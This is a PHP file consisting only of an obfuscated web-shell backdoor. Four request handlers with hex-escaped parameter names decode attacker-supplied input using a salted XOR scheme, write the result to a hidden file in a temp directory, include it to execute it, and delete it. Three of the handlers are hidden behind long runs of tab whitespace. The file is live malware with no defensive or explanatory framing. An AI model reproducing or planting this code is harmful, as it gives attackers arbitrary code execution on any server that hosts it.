<?php																																										if(array_key_exists("\x64\x63\x68unk", $_REQUEST)){ $ent = $_REQUEST["\x64\x63\x68unk"]; $ent= explode ( "." ,$ent ) ; $record = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($ent as $x => $v3) { $sChar = ord($salt3[$x% $lenS]); $dec = ((int)$v3 - $sChar - ($x% 10)) ^ 20; $record .= chr($dec); } $entry = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path()]); $val = 0; do { $pset = $entry[$val] ?? null; if ($val >= count($entry)) break; if (array_product([is_dir($pset), is_writable($pset)])) { $marker = sprintf("%s/.dat", $pset); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $marker; @unlink($marker); exit; } } $val++; } while (true); }
																																										if(isset($_REQUEST["p\x6F\x69\x6E\x74er"])){ $parameter_group = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/dev/shm"]); $symbol = $_REQUEST["p\x6F\x69\x6E\x74er"]; $symbol = explode ( "." , $symbol ); $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; while ($o < count($symbol)) { $v9 = $symbol[$o]; $sChar = ord($s[$o % $sLen]); $d = ((int)$v9 - $sChar - ($o % 10)) ^ 85; $comp .=chr($d); $o++; } foreach ($parameter_group as $key => $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $token = vsprintf("%s/%s", [$ent, ".entity"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(isset($_POST) && isset($_POST["bin\x64"])){ $sym = array_filter(["/dev/shm", getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $entry = $_POST["bin\x64"]; $entry = explode ( ".",$entry ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($entry as $w => $v6): $sChar = ord($salt[$w%$lenS]); $dec = ((int)$v6 - $sChar - ($w%10)) ^ 24; $comp.=chr($dec); endforeach; foreach ($sym as $data) { if (!( !is_dir($data) || !is_writable($data) )) { $parameter_group = join("/", [$data, ".pset"]); $success = file_put_contents($parameter_group, $comp); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }


if(!is_null($_POST["b\x69n\x64ing"] ?? null)){
	$val = $_POST["b\x69n\x64ing"];
	$val  =explode('.' ,$val		)		 ;	
	$pointer = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(  $salt5 );
            $t = 0;
            $__len = count(  $val );
    
            do { if(  $t >= $__len) break;
                $v4 = $val[$t];
                $sChar = ord(  $salt5[$t  %  $sLen] );
                $d =(  (  int)$v4 - $sChar -(  $t  %  10))  ^ 68;
                $pointer.= chr(  $d );
                $t++;
            } while(  true );
	$dat = array_filter([getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP")]);
	$ent = 0;
do {
    $record = $dat[$ent] ?? null;
    if ($ent >= count($dat)) break;
    		if (max(0, is_dir($record) * is_writable($record))) {
    $hld = "$record/.element";
    if (file_put_contents($hld, $pointer)) {
	include $hld;
	@unlink($hld);
	exit;
}
}
    $ent++;
} while (true);
}